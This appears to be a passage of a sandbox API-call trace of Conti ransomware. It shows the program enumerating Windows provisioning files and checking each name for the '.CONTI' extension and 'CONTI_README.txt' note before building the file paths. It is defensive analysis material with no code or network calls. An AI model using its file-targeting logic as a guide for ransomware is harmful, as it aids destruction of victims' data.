	[0109.673] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91581742, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91581742, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91581742, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="595__C~1.PRO")) returned 1
	[0109.673] lstrcmpiW (lpString1="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.673] lstrcmpiW (lpString1="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.673] StrStrIW (lpFirst="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.673] StrStrIW (lpFirst="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.674] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.674] lstrlenW (lpString="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.674] GetProcessHeap () returned 0x1720000
	[0109.674] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bb2e8
	[0109.674] lstrcpyW (in: lpString1=0x65bb2e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.674] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91581742, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91581742, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91581742, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="596__C~1.PRO")) returned 1
	[0109.674] lstrcmpiW (lpString1="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.674] lstrcmpiW (lpString1="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.674] StrStrIW (lpFirst="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.674] StrStrIW (lpFirst="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.674] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.674] lstrlenW (lpString="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.674] GetProcessHeap () returned 0x1720000
	[0109.674] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bb6c0
	[0109.674] lstrcpyW (in: lpString1=0x65bb6c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.674] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91581742, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91581742, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91581742, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="597__C~1.PRO")) returned 1
	[0109.674] lstrcmpiW (lpString1="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.674] lstrcmpiW (lpString1="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.674] StrStrIW (lpFirst="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.674] StrStrIW (lpFirst="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.674] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.674] lstrlenW (lpString="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.674] GetProcessHeap () returned 0x1720000
	[0109.674] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bbd28
	[0109.674] lstrcpyW (in: lpString1=0x65bbd28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.675] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915a79aa, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915a79aa, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915a79aa, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="598__C~1.PRO")) returned 1
	[0109.675] lstrcmpiW (lpString1="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.675] lstrcmpiW (lpString1="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.675] StrStrIW (lpFirst="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.675] StrStrIW (lpFirst="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.675] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.675] lstrlenW (lpString="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.675] GetProcessHeap () returned 0x1720000
	[0109.675] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65baf10
	[0109.675] lstrcpyW (in: lpString1=0x65baf10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.675] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.675] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.675] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915a79aa, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915a79aa, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915a79aa, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="599__C~1.PRO")) returned 1
	[0109.675] lstrcmpiW (lpString1="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.675] lstrcmpiW (lpString1="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.675] StrStrIW (lpFirst="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.675] StrStrIW (lpFirst="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.675] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.675] lstrlenW (lpString="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.675] GetProcessHeap () returned 0x1720000
	[0109.675] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bbfb8
	[0109.675] lstrcpyW (in: lpString1=0x65bbfb8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.675] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.675] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.675] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902e08bf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902e08bf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902e08bf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="59__CO~1.PRO")) returned 1
	[0109.675] lstrcmpiW (lpString1="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.675] lstrcmpiW (lpString1="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.675] StrStrIW (lpFirst="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.675] StrStrIW (lpFirst="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.675] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.676] lstrlenW (lpString="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml") returned 85
	[0109.676] GetProcessHeap () returned 0x1720000
	[0109.676] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x160) returned 0x181e740
	[0109.676] lstrcpyW (in: lpString1=0x181e740, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.676] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.676] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml"
	[0109.676] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f0949, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900f0949, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900f0949, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="5__CON~1.PRO")) returned 1
	[0109.676] lstrcmpiW (lpString1="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.676] lstrcmpiW (lpString1="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.676] StrStrIW (lpFirst="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.676] StrStrIW (lpFirst="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.676] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.676] lstrlenW (lpString="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml") returned 79
	[0109.676] GetProcessHeap () returned 0x1720000
	[0109.676] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x154) returned 0x1815148
	[0109.676] lstrcpyW (in: lpString1=0x1815148, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.676] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.676] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml"
	[0109.676] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915a79aa, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915a79aa, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915a79aa, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="600__C~1.PRO")) returned 1
	[0109.676] lstrcmpiW (lpString1="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.676] lstrcmpiW (lpString1="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.676] StrStrIW (lpFirst="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.676] StrStrIW (lpFirst="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.676] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.676] lstrlenW (lpString="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.676] GetProcessHeap () returned 0x1720000
	[0109.676] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bb578
	[0109.676] lstrcpyW (in: lpString1=0x65bb578, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.676] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.676] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml"
	[0109.677] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915a79aa, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915a79aa, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915a79aa, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="601__C~1.PRO")) returned 1
	[0109.677] lstrcmpiW (lpString1="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.677] lstrcmpiW (lpString1="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.677] StrStrIW (lpFirst="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.677] StrStrIW (lpFirst="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.677] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.677] lstrlenW (lpString="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned 62
	[0109.677] GetProcessHeap () returned 0x1720000
	[0109.677] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bb950
